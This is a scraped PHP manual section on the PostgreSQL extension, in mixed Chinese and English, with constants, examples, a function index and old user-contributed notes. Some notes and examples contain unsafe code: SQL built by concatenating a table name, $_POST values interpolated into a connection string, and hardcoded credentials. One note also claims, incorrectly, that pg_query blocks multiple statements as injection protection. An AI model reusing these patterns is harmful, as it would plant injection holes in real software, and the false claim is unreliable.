PGSQL_NONFATAL_ERROR (int)
由 pg_result_status() 返回。发生非致命错误（通知或警告）。
PGSQL_FATAL_ERROR (int)
由 pg_result_status() 返回。发生致命错误。
PGSQL_TRANSACTION_IDLE (int)
由 pg_transaction_status() 返回。当前连接处于空闲状态，不在事务中。
PGSQL_TRANSACTION_ACTIVE (int)
由 pg_transaction_status() 返回。连接正在执行命令。查询（query）已通过连接发送但尚未完成。
PGSQL_TRANSACTION_INTRANS (int)
由 pg_transaction_status() 返回。连接处于空闲状态且处于事务块中。
PGSQL_TRANSACTION_INERROR (int)
由 pg_transaction_status() 返回。连接处于空闲状态且处于失败的事务块中。
PGSQL_TRANSACTION_UNKNOWN (int)
由 pg_transaction_status() 返回。连接损坏。
PGSQL_DIAG_SEVERITY (int)
传递给 pg_result_error_field()。 严重程度；字段内容是 ERROR、FATAL 或 PANIC（在 error 消息中）或 WARNING、NOTICE、DEBUG、INFO 或 LOG（在 notice 消息中），或其中之一的本地化翻译。始终存在。
PGSQL_DIAG_SQLSTATE (int)
传递给 pg_result_error_field()。 error 的 SQLSTATE 代码。SQLSTATE 代码标识已发生的错误类型；前端应用程序可以使用它来执行特定操作（例如错误处理）以响应特定的数据库错误。该字段不可本地化，并且始终存在。
PGSQL_DIAG_MESSAGE_PRIMARY (int)
传递给 pg_result_error_field()。 人可读的主要错误消息（通常是一行）。始终存在。
PGSQL_DIAG_MESSAGE_DETAIL (int)
传递给 pg_result_error_field()。 详细信息：可选的次要错误消息，其中包含有关该问题的更多详细信息。可能会有多行。
PGSQL_DIAG_MESSAGE_HINT (int)
传递给 pg_result_error_field()。 提示：关于如何处理该问题的可选建议。这与细节不同，因为它提供建议（可能不合适）而不是确凿的事实。可能会有多行。
PGSQL_DIAG_STATEMENT_POSITION (int)
传递给 pg_result_error_field()。 包含十进制整数的字符串，指示错误游标位置作为原始语句字符串的索引。第一个字符的索引为 1，位置以字符而不是字节为单位进行测量。
PGSQL_DIAG_INTERNAL_POSITION (int)
传递给 pg_result_error_field()。 This is defined the same as the PG_DIAG_STATEMENT_POSITION field, but it is used when the cursor position refers to an internally generated command rather than the one submitted by the client. The PG_DIAG_INTERNAL_QUERY field will always appear when this field appears.
PGSQL_DIAG_INTERNAL_QUERY (int)
传递给 pg_result_error_field()。 失败的内部生成命令的文本。例如，这可能是由 PL/pgSQL 函数发出的 SQL 查询。
PGSQL_DIAG_CONTEXT (int)
传递给 pg_result_error_field()。 An indication of the context in which the error occurred. Presently this includes a call stack traceback of active procedural language functions and internally-generated queries. The trace is one entry per line, most recent first.
PGSQL_DIAG_SOURCE_FILE (int)
传递给 pg_result_error_field()。 报告错误的 PostgreSQL 源代码位置的文件名。
PGSQL_DIAG_SOURCE_LINE (int)
传递给 pg_result_error_field()。 报告错误的 PostgreSQL 源代码位置的行号。
PGSQL_DIAG_SOURCE_FUNCTION (int)
传递给 pg_result_error_field()。 报告错误的 PostgreSQL 源代码函数的名称。
PGSQL_DIAG_SCHEMA_NAME (int)
自 PHP 7.3.0 起可用。
PGSQL_DIAG_TABLE_NAME (int)
自 PHP 7.3.0 起可用。
PGSQL_DIAG_COLUMN_NAME (int)
自 PHP 7.3.0 起可用。
PGSQL_DIAG_DATATYPE_NAME (int)
自 PHP 7.3.0 起可用。
PGSQL_DIAG_CONSTRAINT_NAME (int)
自 PHP 7.3.0 起可用。
PGSQL_ERRORS_TERSE (int)
传递给 pg_set_error_verbosity()。指定返回的消息，仅包括严重性、主要文本和位置；通常适合单行。
PGSQL_ERRORS_DEFAULT (int)
传递给 pg_set_error_verbosity()。默认模式生成的消息包括上述内容以及所有的详细信息、提示或上下文字段（这些可能会有多行）。
PGSQL_ERRORS_VERBOSE (int)
传递给 pg_set_error_verbosity()。详细模式包括所有可用字段。
PGSQL_NOTICE_LAST (int)
用于 pg_last_notice()。自 PHP 7.1.0 起可用。
PGSQL_NOTICE_ALL (int)
用于 pg_last_notice()。自 PHP 7.1.0 起可用。
PGSQL_NOTICE_CLEAR (int)
用于 pg_last_notice()。自 PHP 7.1.0 起可用。
PGSQL_STATUS_LONG (int)
传递给 pg_result_status()。表示需要的数字结果代码。
PGSQL_STATUS_STRING (int)
传递给 pg_result_status()。表示需要的文本结果命令标记。
PGSQL_CONV_IGNORE_DEFAULT (int)
传递给 pg_convert()。转换期间忽略表中的默认值。
PGSQL_CONV_FORCE_NULL (int)
传递给 pg_convert()。使用 SQL NULL 代替空 string。
PGSQL_CONV_IGNORE_NOT_NULL (int)
传递给 pg_convert()。不会将 null 转换为 SQL NOT NULL 列。
PGSQL_DML_NO_CONV (int)
传递给 pg_insert()、pg_select()、pg_update() 和 pg_delete()。所有参数按原样传递。如果参数包含用户提供的数据，则需要使用 pg_escape_string() 手动转义。
PGSQL_DML_EXEC (int)
传递给 pg_insert()、pg_select()、pg_update() 和 pg_delete()。通过这些函数执行查询。
PGSQL_DML_ASYNC (int)
传递给 pg_insert()、pg_select()、pg_update() 和 pg_delete()。通过这些函数执行异步查询。
PGSQL_DML_STRING (int)
传递给 pg_insert()、pg_select()、pg_update() 和 pg_delete()。返回执行的查询字符串。
PGSQL_DML_ESCAPE (int)
传递给 pg_insert()、pg_select()、pg_update() 和
pg_delete()。将转义应用于所有参数，而不是在内部调用
pg_convert()。此选项省略元数据查找。查询可能与 pg_query()
和 pg_send_query() 一样快。
PGSQL_POLLING_FAILED (int)
由 pg_connect_poll() 返回，表示尝试连接失败。
PGSQL_POLLING_READING (int)
由 pg_connect_poll() 返回，表示该连接正在等待 PostgreSQL 套接字可读。
PGSQL_POLLING_WRITING (int)
由 pg_connect_poll() 返回，表示该连接正在等待 PostgreSQL 套接字可写。
PGSQL_POLLING_OK (int)
由 pg_connect_poll() 返回，表示连接已准备就绪，可以使用。
PGSQL_POLLING_ACTIVE (int)
由 pg_connect_poll() 返回，表示该连接当前处于活动状态。
PGSQL_DIAG_SEVERITY_NONLOCALIZED (int)
严重程度；字段内容是 ERROR、FATAL 或 PANIC（在错误消息中）或 WARNING、NOTICE、DEBUG、INFO 或 LOG（在通知消息中）。这与 PG_DIAG_SEVERITY 字段相同，只是内容从未本地化。这仅存在于 9.6 及更高版本/PHP 7.3.0 及更高版本中。
PGSQL_SHOW_CONTEXT_NEVER (int)
跟 pg_set_error_context_set_visibility() 一起使用，上下文永远不会显示。自 PHP 8.3.0 起可用。
PGSQL_SHOW_CONTEXT_ERRORS (int)
跟 pg_set_error_context_set_visibility() 一起使用，上下文字段仅包含在错误消息中。这是默认行为。自 PHP 8.3.0 起可用。
PGSQL_SHOW_CONTEXT_ALWAYS (int)
跟 pg_set_error_context_set_visibility() 一起使用，，上下文字段包含在 error、notice 和 warning 消息中。自 PHP 8.3.0 起可用。
PGSQL_TRACE_SUPPRESS_TIMESTAMPS (int)
跟 pg_trace() 一起使用，时间戳不包含在跟踪消息中。自 PHP 8.3.0 起可用。
PGSQL_TRACE_REGRESS_MODE (int)
跟 pg_trace() 一起使用，比如 OID 等字段包含在跟踪消息中。自 PHP 8.3.0 起可用。

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Basic usage
  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a PostgreSQL database.

Example #1 PostgreSQL extension overview example

<?php
// Connecting, selecting database
$dbconn = pg_connect("host=localhost dbname=publishing user=www password=foo")
or die('Could not connect: ' . pg_last_error());

// Performing SQL query
$query = 'SELECT * FROM authors';
$result = pg_query($query) or die('Query failed: ' . pg_last_error());

// Printing results in HTML
echo "<table>\n";
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
echo "\t<tr>\n";
foreach ($line as $col_value) {
echo "\t\t<td>$col_value</td>\n";
}
echo "\t</tr>\n";
}
echo "</table>\n";

// Free resultset
pg_free_result($result);

// Closing connection
pg_close($dbconn);
?>

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

These examples contain user defined functions similar to legacy MySQL functions.

Example #1 PostgreSQL user defined functions example

<?php
// This function should be needed, since PostgreSQL connection binds database.
function pg_list_dbs($db)
{
assert(is_resource($db));
$query = '
SELECT
d.datname as "Name",
u.usename as "Owner",
pg_encoding_to_char(d.encoding) as "Encoding"
FROM
pg_database d LEFT JOIN pg_user u ON d.datdba = u.usesysid
ORDER BY 1;
';
return pg_query($db, $query);
}

// List tables.
function pg_list_tables($db)
{
assert(is_resource($db));
$query = "
SELECT
c.relname as \"Name\",
CASE c.relkind WHEN 'r' THEN 'table' WHEN 'v' THEN 'view' WHEN 'i' THEN 'index' WHEN 'S' THEN 'sequence' WHEN 's' THEN 'special' END as \"Type\",
u.usename as \"Owner\"
FROM
pg_class c LEFT JOIN pg_user u ON c.relowner = u.usesysid
WHERE
c.relkind IN ('r','v','S','')
AND c.relname !~ '^pg_'
ORDER BY 1;
";
return pg_query($db, $query);
}

// See also pg_meta_data(). It returns field definition as array.
function pg_list_fields($db, $table)
{
assert(is_resource($db));
$query = "
SELECT
a.attname,
format_type(a.atttypid, a.atttypmod),
a.attnotnull,
a.atthasdef,
a.attnum
FROM
pg_class c,
pg_attribute a
WHERE
c.relname = '".$table."'
AND a.attnum > 0 AND a.attrelid = c.oid
ORDER BY a.attnum;
";
return pg_query($db, $query);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL 函数

注释

Note:

Not all functions are supported by all builds. It depends on your libpq (The PostgreSQL C client library) version and how libpq is compiled. If PHP PostgreSQL extensions are missing, then it is because your libpq version does not support them.

Note:

Most PostgreSQL functions accept connection as the optional first parameter. If it is not provided, the last opened connection is used. If it doesn't exist, functions return false.

Note:

PostgreSQL automatically folds all identifiers (e.g. table/column names) to lower-case values at object creation time and at query time. To force the use of mixed or upper case identifiers, you must escape the identifier using double quotes ("").

Note:

PostgreSQL does not have special commands for fetching database schema information (eg. all the tables in the current database). Instead, there is a standard schema named information_schema in PostgreSQL 7.4 and above containing system views with all the necessary information, in an easily queryable form. See the » PostgreSQL Documentation for full details.

Table of Contents

  • pg_affected_rows — 返回受影响的记录数（元组）
  • pg_cancel_query — 取消异步查询
  • pg_client_encoding — 获取客户端编码
  • pg_close — 关闭 PostgreSQL 连接
  • pg_connect_poll — 对正在进行尝试进行异步的 PostgreSQL 连接轮询其状态。
  • pg_connect — 打开 PostgreSQL 连接
  • pg_connection_busy — 获取连接是否繁忙
  • pg_connection_reset — 重置连接（再次连接）
  • pg_connection_status — 获取连接状态
  • pg_consume_input — Reads input on the connection
  • pg_convert — 将关联的数组值转换为适合 SQL 语句的格式
  • pg_copy_from — 将数组中的记录插入到表
  • pg_copy_to — 将表复制到数组
  • pg_dbname — 获取数据库名称
  • pg_delete — 删除记录
  • pg_end_copy — 与 PostgreSQL 后端同步
  • pg_escape_bytea — 转义字符串以插入到 bytea 字段
  • pg_escape_identifier — Escape a identifier for insertion into a text field
  • pg_escape_literal — Escape a literal for insertion into a text field
  • pg_escape_string — 转义字符串以供查询
  • pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result
  • pg_fetch_all_columns — Fetches all rows in a particular result column as an array
  • pg_fetch_all — 从结果中获取所有行作为数组
  • pg_fetch_array — 获取一行作为数组
  • pg_fetch_assoc — 获取一行作为关联数组
  • pg_fetch_object — 获取一行作为对象
  • pg_fetch_result — 从结果实例返回值
  • pg_fetch_row — 提取一行作为枚举数组
  • pg_field_is_null — 测试字段是否为 SQL NULL
  • pg_field_name — 返回字段名
  • pg_field_num — 返回名为 field 的字段编号
  • pg_field_prtlen — 返回打印的长度
  • pg_field_size — 返回指定字段的内部存储大小
  • pg_field_table — Returns the name or oid of the tables field
  • pg_field_type_oid — Returns the type ID (OID) for the corresponding field number
  • pg_field_type — 返回相应字段编号的类型名称
  • pg_flush — 刷新链接中已处理的数据查询
  • pg_free_result — 释放查询结果占用的内存
  • pg_get_notify — 获取 SQL NOTIFY 消息
  • pg_get_pid — 获取后端的进程 ID
  • pg_get_result — 取得异步查询结果
  • pg_host — 返回和某连接关联的主机名
  • pg_insert — 将数组插入到表中
  • pg_last_error — 得到某连接的最后一条错误信息
  • pg_last_notice — 返回 PostgreSQL 服务器最新一条公告信息
  • pg_last_oid — 返回上一条记录的 oid
  • pg_lo_close — 关闭大对象
  • pg_lo_create — 新建大对象
  • pg_lo_export — 将大型对象导出到文件
  • pg_lo_import — 将文件导入为大型对象
  • pg_lo_open — 打开大对象
  • pg_lo_read_all — 读取整个大对象并直接发送到浏览器
  • pg_lo_read — 读取大对象
  • pg_lo_seek — 在大对象中寻找位置
  • pg_lo_tell — 返回当前大型对象的指针位置
  • pg_lo_truncate — Truncates a large object
  • pg_lo_unlink — 删除一个大型对象
  • pg_lo_write — 向大对象写入数据
  • pg_meta_data — 获得表的元数据
  • pg_num_fields — 返回结果中字段的数量
  • pg_num_rows — 返回结果中行的数量
  • pg_options — 获得和 connection 相关的选项
  • pg_parameter_status — Looks up a current parameter setting of the server
  • pg_pconnect — 打开一个持久的 PostgreSQL 连接
  • pg_ping — Ping 数据库连接
  • pg_port — 返回 connection 相关的端口号
  • pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion
  • pg_put_line — 向 PostgreSQL 后端发送以 NULL 字符结尾的字符串
  • pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text
  • pg_query — 执行查询
  • pg_result_error_field — Returns an individual field of an error report
  • pg_result_error — 获得跟 result 相关的错误信息
  • pg_result_seek — 在 result 实例中设定内部行偏移量
  • pg_result_status — 获得查询结果的状态
  • pg_select — 选择记录
  • pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)
  • pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion
  • pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s)
  • pg_send_query — 发送异步查询
  • pg_set_client_encoding — 设定客户端编码
  • pg_set_error_context_visibility — Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error
  • pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error and pg_result_error
  • pg_socket — Get a read only handle to the socket underlying a PostgreSQL connection
  • pg_trace — 启用 PostgreSQL 连接的追踪
  • pg_transaction_status — Returns the current in-transaction status of the server
  • pg_tty — 返回跟连接相关的 tty 名
  • pg_unescape_bytea — 反转义 bytea 类型的二进制数据
  • pg_untrace — 禁用 PostgreSQL 连接的追踪
  • pg_update — 更新表
  • pg_version — Returns an array with client, protocol and server version (when available)

User Contributed Notes

Tony Murray 13-May-2012 09:52
A simple conversion for 1D PostgreSQL array data:

// =====
//Example #1 (An array of IP addresses):
<?php
  $pgsqlArr = '{192.168.1.1,10.1.1.1}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => 192.168.1.1
//    [1] => 10.1.1.1
// )
// =====

// =====
// Example #2 (An array of strings including spaces and commas):
<?php
  $pgsqlArr = '{string1,string2,"string,3","string 4"}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => string1
//    [1] => string2
//    [2] => string,3
//    [3] => string 4
// )
// =====
16-Nov-2006 04:30
Chris KL: Will parse well {"\\"}? The second " will be treat as escaped while it shoudn't...
20-Oct-2006 10:10
Lots of advice on stored procedures didn't work for me.  This did:

<?php
$response = pg_query( $connection, "BEGIN; DECLARE s CURSOR FOR SELECT get_consumer('harry'); FETCH ALL IN s; END;" );
?>

..where harry looks like this:

CREATE OR REPLACE FUNCTION get_consumer( varchar )
RETURNS refcursor
AS '
DECLARE
  _name          ALIAS FOR $1;
  r              refcursor;
BEGIN
  OPEN r FOR SELECT name FROM consumer
  WHERE
    consumer.name = _name
  ;
  RETURN r;
END
' LANGUAGE 'plpgsql';
Chris KL 10-Nov-2005 05:17
Here is a better array parser for PHP.  It will work with 1-d arrays only.  Unlike the example below it will work in all cases.

    /**
     * Change a db array into a PHP array
     * @param $arr String representing the DB array
     * @return A PHP array
     */
    function phpArray($dbarr) {
        // Take off the first and last characters (the braces)
        $arr = substr($dbarr, 1, strlen($dbarr) - 2);

        // Pick out array entries by carefully parsing.  This is necessary in order
        // to cope with double quotes and commas, etc.
        $elements = array();
        $i = $j = 0;
        $in_quotes = false;
        while ($i < strlen($arr)) {
            // If current char is a double quote and it's not escaped, then
            // enter quoted bit
            $char = substr($arr, $i, 1);
            if ($char == '"' && ($i == 0 || substr($arr, $i - 1, 1) != '\\'))
                $in_quotes = !$in_quotes;
            elseif ($char == ',' && !$in_quotes) {
                // Add text so far to the array
                $elements[] = substr($arr, $j, $i - $j);
                $j = $i + 1;
            }
            $i++;
        }
        // Add final text to the array
        $elements[] = substr($arr, $j);

        // Do one further loop over the elements array to remote double quoting
        // and escaping of double quotes and backslashes
        for ($i = 0; $i < sizeof($elements); $i++) {
            $v = $elements[$i];
            if (strpos($v, '"') === 0) {
                $v = substr($v, 1, strlen($v) - 2);
                $v = str_replace('\\"', '"', $v);
                $v = str_replace('\\\\', '\\', $v);
                $elements[$i] = $v;
            }
        }

        return $elements;
    }
1413 at blargh dot com 11-Oct-2005 05:09
Here is some quick and dirty code to convert Postgres-returned arrays into PHP arrays.  There's probably a billion bugs, but since I'm only dealing with variable-depth-and-length arrays of integers, it works for my needs.

Most notably, any data that might have commas in it won't work right...

<?php
function PGArrayToPHPArray($pgArray)
{
  $ret = array();
  $stack = array(&$ret);
  $pgArray = substr($pgArray, 1, -1);
  $pgElements = explode(",", $pgArray);

  ArrayDump($pgElements);

  foreach($pgElements as $elem)
    {
      if(substr($elem,-1) == "}")
        {
          $elem = substr($elem,0,-1);
          $newSub = array();
          while(substr($elem,0,1) != "{")
            {
              $newSub[] = $elem;
              $elem = array_pop($ret);
            }
          $newSub[] = substr($elem,1);
          $ret[] = array_reverse($newSub);
        }
      else
        $ret[] = $elem;
    }
  return $ret;
}
?>
anis_wn at gawab dot com 05-Jun-2005 09:45
Setting up PostgreSQL for higher security PHP connection.

Case:
We want to connect to PostgreSQL database using username and password supplied by webuser at login time.

Fact (Linux):
Apache (perhaps other servers, too) running the server as (default to) apache user account. So if you connect to PostgreSQL using default user, apache will be assingned for it. If you hard code the user and password in your PHP script, you'll loose security restriction from PostgreSQL.

Solution:
(You are assumed to have enough privilege to do these things, though)
1. Edit pg_hba.conf to have the line like the one below
    host    db_Name    [web_server_ip_address] [ip_address_mask] md5
2. Add to you script the login page that submits username and password.
3. Use those information to login to PostgreSQL like these...
<?
    $conn = "host=$DBHost port=$DBPort dbname=$DBName ".
            "user='{$_POST['dbUsername']}' password='{$_POST['dbPassword']}'";
    $db = pg_connect ($conn);
[your other codes go here...]
?>
4. You must add users in PostgreSQL properly.
5. For your convenience, you can store the username and password to $_SESSION variable.

Good luck.
Anis WN
WillowCatkin at hotmail dot com 21-May-2005 06:43
There is an example:
<?php
/*
 * Define PostgreSQL database server connect parameters.
 */
define('PGHOST','10.0.0.218');
define('PGPORT',5432);
define('PGDATABASE','example');
define('PGUSER', 'root');
define('PGPASSWORD', 'nopass');
define('PGCLIENTENCODING','UNICODE');
define('ERROR_ON_CONNECT_FAILED','Sorry, can not connect the database server now!');

/*
 * Merge connect string and connect db server with default parameters.
 */
pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD);

/*
 * generate sql statements to call db-server-side stored procedure(or function)
 * @parameter    string    $proc        stored procedure name.
 * @parameter    array    $paras        parameters, 2 dimensions array.
 * @return        string    $sql = 'select "proc"(para1,para2,para3);'
 * @example    pg_prepare('userExists',
 *                            array(
 *                                array('userName','chin','string'),
 *                                array('userId','7777','numeric')
 *                            )
 * )
 */
function pg_prepare($proc, $paras)
{
    $sql = 'select "' . $proc . '"(';
    $sql .= $paras[0][2] == 'numeric' ? $paras[0][1] : "'" . str_replace("'","''",$paras[0][1]) . "'";
    $len = count($paras);
    for ($i = 1; $i < $len; $i ++)
    {
        $sql .= ',';
        $sql .= $paras[$i][2] == 'numeric' ? $paras[$i][1] : "'" . str_replace("'","''",$paras[$i][1]) . "'";
    }
    $sql .= ');';
    return $sql;
}
?>
adaml at mimuw edu pl 02-Oct-2004 06:07
Yes, PHP does support stored procedures
You have to add "select" before the name of the
procedure, just like that:

$result = pg_querry($conn, "SELECT procedure_x($aa)");

if a procedure returns a cursor you do something like that:

$result = pg_query($conn, "SELECT procedure_x('rcursor'); FETCH ALL IN rcursor");
74012 dot 2773 at compuserve dot com 01-Jul-2004 09:35
for just a list of tables, this works with postgresql-7.2.1:

function pg_list_tables($db) {
    $sql = "select relname from pg_stat_user_tables order by relname;";
    return pg_query($db, $sql);
}
abondi at ijk dot it 26-May-2004 05:11
I've found another function to mimic the following mysql list tables function (http://www.php.net/manual/en/function.mysql-list-tables.php) that's more useful for my target:

function pg_list_tables() {
      $sql = "SELECT a.relname AS Name
          FROM pg_class a, pg_user b
          WHERE ( relkind = 'r') and relname !~ '^pg_' AND relname !~ '^sql_'
          AND relname !~ '^xin[vx][0-9]+' AND b.usesysid = a.relowner
          AND NOT (EXISTS (SELECT viewname FROM pg_views WHERE viewname=a.relname));";
      return(pg_query($conn, $sql));
}
daniel at bichara dot com dot br 30-Dec-2002 05:04
Running RedHat Linux and Apache with suexec enabled you must include pgsql.so on each .php file using dl("pgsql.so") and remove "extension=pgsql.so" from php.ini, otherwise Apache (httpd) will not start.
anonymous at unknown dot com 29-Nov-2002 09:50
I just wanted to add to my previous post I've got the system up and running.
Environment: Windows XP, Apache 1.3.23, Php 4.3 RC2, PostGreSQL beta4 native windows build

Installation was fairly easy:
1. read the readme.txt
2. edit the setenv.bat as described in readme
3. run 'initdb'
    all execs are in /bin
    help is accessed like <command> --help
4. Start the psql deamon - you may want to create a batch file like
    'D:\postgres_beta4\bin\postmaster -h localhost -D D:/postgres_beta4/data'

    --deamon should be up and running now--

You can login into a shell from a console like
    'psql -h localhost -d <username>'

You must load the postgresql extension by editing the php.ini and restarting apache in order to access psql with php.

And one final not: when running
    $dbconn = pg_connect ("host=localhost port=5432 dbname=$dbname user=$user");
remember that $user and or $dbname is CASESENSITIVE.

Oh yeah, I created the data dir manually - don't know whether that was necessary

Grtz Vargo
mystran at wasteland dot pp dot htv dot fi 03-Feb-2002 07:46
Nice to know fact that I didn't find documented here.

PHP will return values of PostgreSQL boolean datatype as single character strings "t" and "f", not PHP true and false.

[Editor's Note]
't' or 'f' is valid boolean expression for PostgreSQL.

All values from PostgreSQL are strings, since PostgreSQL integer, float may be much larger than PHP's native int, double can handle. PostgreSQL array is not supported.
saberit at home dot com 15-Sep-2001 02:11
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
hubert at hubertmuller dot com 09-Jul-2001 04:36
The best way to find the separated list of tables, sequences, keys etc is:

SELECT relname FROM pg_class WHERE relkind='<value>' AND relname !~ '^pg_';

<value> takes:
i for keys,
r for relations,
S for sequences

Note that all tables names that begins with 'pg_' are PostgreSQL internal tables (this explain why I use AND relname !~ '^pg_' condition).
passion at monkey dot org 27-Jun-2001 06:53
I've tried to mimic the following mysql database connection functions for postgres.
http://www.php.net/manual/en/function.mysql-list-dbs.php
http://www.php.net/manual/en/function.mysql-list-tables.php

These are assuming that you're passing in $link as the result from pg_connect:

function pg_list_dbs($link)
{
    $sql = 'SELECT datname FROM pg_database';
    return (pg_query($link, $sql));
}

function pg_list_tables($link)
{
    $sql = "SELECT relname FROM pg_class WHERE relname !~ '^pg_'";
    return (pg_query($link, $sql));
}
!spamcraig at ahdore dot com 15-Apr-2001 01:11
If you want to extract data from select statements, you need to store the result index, and then apply pg_result to that value. Basically, do this

$resultIdx = pg_query ($database, "select * from tablename");
$mySelect = pg_fetch_result($resultIdx, 0, 0);  // gets column 0 of tuple 0
echo("My select: [".$mySelect."]");

I'm new to php and had to do some fiddling around to work this out. It's reasonably elementary, but not demonstrated by the examples on these pages. Hopefully it will come in useful to someone else.
bleach at chek dot com 02-Mar-2000 12:36
If you want to see all the objects in a database, you can find that information in the pg_class table. <BR>
SELECT * FROM pg_class;<BR>
Now this is going to be kind of long and complex, to see how psql command handles the \d and other things. use the syntax.  psql -E <Database>, ie psql -E mydatabase <BR>
What this will do is show the SQL command used for everything. So when you type a \d or something, it shows the SQL query used for the result.


返回受影响的记录数（元组）

  • ? PostgreSQL 函数
  • pg_cancel_query ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回受影响的记录数（元组）

pg_affected_rows

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_affected_rows — 返回受影响的记录数（元组）

说明

pg_affected_rows(PgSql\Result $result): int

pg_affected_rows() 返回受 INSERT、UPDATE 和 DELETE 查询影响的元组数（实例/记录/行）。

从 PostgreSQL 9.0 及更高版本开始，服务器返回 SELECT 的行数。较旧的 PostgreSQL 则返回 0。

Note:

此函数过去称为 pg_cmdtuples()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

返回值

受查询影响的行数。如果没有元组受到影响，它将返回 0。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_affected_rows() 示例

<?php
$result = pg_query($conn, "INSERT INTO authors VALUES ('Orwell', 2002, 'Animal Farm')");

$cmdtuples = pg_affected_rows($result);

echo $cmdtuples . " tuples are affected.\n";
?>

以上示例会输出：

1 tuples are affected.

参见

  • pg_query() - 执行查询
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result
  • pg_num_rows() - 返回结果中行的数量

User Contributed Notes

Anonymous 20-Dec-2007 03:02
There is something called auto-commit, when you supply more than one query delimited by ; semicolon all-or-none is done if one fails. No need for BEGIN;COMMIT;ROLLBACK when doing one query. its logic to mee pg_affected_rows() returns affected rows and if you want to do 2 queries apart from each other.. do a BEGIN and then 1 and get pg_affected_rows() then do 2 and get pg_affected_rows() and then finally do COMMIT;
Anonymous 14-Nov-2007 07:45
pg-affected-rows () only runs on the LAST SQL STATEMENT executed.  If you compound several statements together then pg_affected_rows might not return what you expect.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\'; COMMIT');

echo (pg_affected_rows ($result));

?>

will cause 0 to be printed, because the last statement executed by Postgres was COMMIT, which doesn't affect any rows.

I haven't tried this so am not certain it works, but you SHOULD be able to get the row counts you want if you split your queries up.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\';');

echo (pg_affected_rows ($result));

pg_query ('COMMIT;');
?>

should allow you to get the number of rows affected by the previous query.  I haven't tried this yet though, so don't count on it.
05-Aug-2005 03:31
That's not quite true, I've been able to execute multiple queries in a single call just fine. In stead, it has to do with the fact this function returns the affected rows for the last executed query, not the last set of queries specified to a single call to pg_query.
29-Jun-2005 06:15
Concering Bruno Baguette's note:

The pg_query function only allows one query per function call.  When you do your
$sql="BEGIN;
INSERT ...
COMMIT;";
$result=pg_query($conn,$sql);
echo pg_affected_rows($result);

you get a zero, because only the BEGIN; is executed.

The single query per call is, I beleive, a PHP builtin protection against SQL injection attacks.  (Ie someone submitting a string paramter that ends the current query and appends another one)
Bruno Baguette 28-Jun-2005 01:45
Note that when you submit several SQL queries, within one BEGIN;COMMIT; like this one :

$SQLQuery = 'BEGIN;';
$SQLQuery.= 'INSERT INTO a (a,b) VALUES (1,2);';
$SQLQuery.= 'INSERT INTO b (ref_b,c) VALUES (2,5);';
$SQLQuery.= 'COMMIT;';

$HandleResults = pg_query($SQLQuery);
echo(pg_affected_rows($HandleResults));

pg_affected_rows() will return 0


取消异步查询

  • ? pg_affected_rows
  • pg_client_encoding ?
  • PHP Manual
  • PostgreSQL 函数
  • 取消异步查询

pg_cancel_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_cancel_query — 取消异步查询

说明

pg_cancel_query(PgSql\Connection $connection): bool

pg_cancel_query() 取消由 pg_send_query()、pg_send_query_params() 或 pg_send_execute() 发送的异步查询。不能取消使用 pg_query() 执行的查询。

参数

connection

PgSql\Connection 实例。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_cancel_query() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
}

$res1 = pg_get_result($dbconn);
echo "First call to pg_get_result(): $res1\n";
$rows1 = pg_num_rows($res1);
echo "$res1 has $rows1 records\n\n";

// Cancel the currently running query. Will be the second query if it is
// still running.
pg_cancel_query($dbconn);
?>

以上示例会输出：

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

参见

  • pg_send_query() - 发送异步查询
  • pg_connection_busy() - 获取连接是否繁忙

User Contributed Notes

There are no user contributed notes for this page.


获取客户端编码

  • ? pg_cancel_query
  • pg_close ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取客户端编码

pg_client_encoding

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_client_encoding — 获取客户端编码

说明

pg_client_encoding(?PgSql\Connection $connection = null): string

